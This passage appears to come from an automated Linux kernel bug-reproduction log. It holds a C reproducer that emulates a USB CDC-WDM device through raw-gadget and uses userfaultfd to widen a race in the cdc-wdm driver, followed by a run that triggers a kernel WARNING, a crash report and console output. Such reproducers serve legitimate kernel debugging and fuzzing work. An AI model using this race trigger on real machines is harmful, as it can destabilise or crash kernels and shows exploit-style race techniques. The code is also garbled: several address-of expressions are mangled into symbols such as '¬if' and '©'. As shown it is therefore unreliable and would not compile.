printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}]
|
| 449/5 |
2026/09/11 23:51 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.bInterval = 1,
},
};
void init_descriptors() {
dev_desc.bcdUSB = htole16(0x0200);
dev_desc.idVendor = htole16(0x0525);
dev_desc.idProduct = htole16(0xa4a7);
dev_desc.bcdDevice = htole16(0x0100);
conf_desc.conf.wTotalLength = htole16(sizeof(conf_desc));
conf_desc.cdc_hdr.bcdCDC = htole16(0x0110);
conf_desc.ep_in.wMaxPacketSize = htole16(64);
}
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
init_descriptors();
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}]
|
| 450/5 |
2026/09/11 23:51 |
action |
If |
0m
Args:
|
| 451/3 |
2026/09/11 23:51 |
action |
run-c-repro |
1m
Results: map[CandidateBugTitle:WARNING in service_outstanding_interrupt/usb_submit_urb CandidateCrashReport:------------[ cut here ]------------
URB ffff888113ca3c00 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x79/0x18b0 drivers/usb/core/urb.c:379, CPU#0: syz-executor370/5853
Modules linked in:
CPU: 0 UID: 0 PID: 5853 Comm: syz-executor370 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:usb_submit_urb+0x7c/0x18b0 drivers/usb/core/urb.c:379
Code: 4c 89 f0 48 c1 e8 03 80 3c 28 00 74 08 4c 89 f7 e8 d9 60 da fa 49 83 3e 00 74 40 e8 fe 0e 6b fa 48 8d 3d 37 bd 35 09 48 89 de <67> 48 0f b9 3a b8 f0 ff ff ff eb 11 e8 e3 0e 6b fa eb 05 e8 dc 0e
RSP: 0018:ffffc90003d3fa78 EFLAGS: 00010293
RAX: ffffffff875af432 RBX: ffff888113ca3c00 RCX: ffff888196764b00
RDX: 0000000000000000 RSI: ffff888113ca3c00 RDI: ffffffff9090b170
RBP: dffffc0000000000 R08: ffffffff90836c7f R09: 1ffffffff2106d8f
R10: dffffc0000000000 R11: fffffbfff2106d90 R12: dffffc0000000000
R13: ffff888115d552b8 R14: ffff888113ca3c08 R15: 0000000000000cc0
FS: 0000555570a60400(0000) GS:ffff8881a4c6f000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f33f1b12000 CR3: 0000000103f65000 CR4: 0000000000352ef0
Call Trace:
<TASK>
service_outstanding_interrupt+0x155/0x2b0 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x86d/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f33f2b711fe
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fff21170828 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 0000555570a60400 RCX: 00007f33f2b711fe
RDX: 000000000000000a RSI: 00007f33f1b12000 RDI: 0000000000000004
RBP: 0000000000000005 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 00007fff211708e0
R13: 00007f33f1b12000 R14: 0000000000000005 R15: 00007fff211708c0
</TASK>
----------------
Code disassembly (best guess):
0: 4c 89 f0 mov %r14,%rax
3: 48 c1 e8 03 shr $0x3,%rax
7: 80 3c 28 00 cmpb $0x0,(%rax,%rbp,1)
b: 74 08 je 0x15
d: 4c 89 f7 mov %r14,%rdi
10: e8 d9 60 da fa call 0xfada60ee
15: 49 83 3e 00 cmpq $0x0,(%r14)
19: 74 40 je 0x5b
1b: e8 fe 0e 6b fa call 0xfa6b0f1e
20: 48 8d 3d 37 bd 35 09 lea 0x935bd37(%rip),%rdi # 0x935bd5e
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: b8 f0 ff ff ff mov $0xfffffff0,%eax
34: eb 11 jmp 0x47
36: e8 e3 0e 6b fa call 0xfa6b0f1e
3b: eb 05 jmp 0x42
3d: e8 .byte 0xe8
3e: dc 0e fmull (%rsi)
CandidateReproduced:true ConsoleOutput:[ 63.482703][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 63.482764][ T33] audit: type=1400 audit(1789170785.758:201): avc: denied { transition } for pid=5833 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 63.482802][ T33] audit: type=1400 audit(1789170785.758:202): avc: denied { noatsecure } for pid=5833 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 63.485359][ T33] audit: type=1400 audit(1789170785.758:203): avc: denied { rlimitinh } for pid=5833 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 63.485377][ T33] audit: type=1400 audit(1789170785.758:204): avc: denied { siginh } for pid=5833 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 66.190928][ T33] audit: type=1400 audit(1789170788.468:205): avc: denied { write } for pid=5840 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.229127][ T33] audit: type=1400 audit(1789170788.508:206): avc: denied { write } for pid=5843 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.576943][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[ 66.579221][ T1382] ieee802154 phy1 wpan1: encryption failed: -22
Warning: Permanently added '[localhost]:8429' (ED25519) to the list of known hosts.
[ 67.101239][ T33] audit: type=1400 audit(1789170789.378:207): avc: denied { read write } for pid=5853 comm="syz-executor370" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[+] Gadget initialized and running.
[ 67.109153][ T33] audit: type=1400 audit(1789170789.378:208): avc: denied { open } for pid=5853 comm="syz-executor370" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 67.109174][ T33] audit: type=1400 audit(1789170789.378:209): avc: denied { ioctl } for pid=5853 comm="syz-executor370" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 67.154323][ T33] audit: type=1400 audit(1789170789.428:210): avc: denied { write } for pid=5858 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.365360][ T10] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[ 67.517191][ T10] usb 1-1: New USB device found, idVendor=0525, idProduct=a4a7, bcdDevice= 1.00
[ 67.522065][ T10] usb 1-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0
[+] Endpoint EP1 IN enabled (index 0).
[+] Waiting for /dev/cdc-wdmX to appear...
[ 67.535267][ T10] cdc_wdm 1-1:1.0: cdc-wdm0: USB WDM device
[ 67.537455][ T10] cdc_wdm 1-1:1.0: Unknown control protocol
[+] Sending first notification on EP1...
[+] Sending second notification on EP1...
[+] Opened /dev/cdc-wdm0
[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...
[+] Second notification sent.
[+] Waiting for read() to block in userfaultfd...
[+] Calling read() on /dev/cdc-wdm0...
[+] Responding to first Control Read.
[+] Page fault detected in read() buffer.
[+] Sending STALL on EP1 to trigger wdm_rxwork...
[ 68.138519][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.138583][ C0] cdc_wdm 1-1:1.0: Cannot schedule work
[ 68.140604][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.142498][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.144451][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.146457][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.148398][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.150345][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.152354][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.154341][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
[ 68.156334][ C0] cdc_wdm 1-1:1.0: Stall on int endpoint
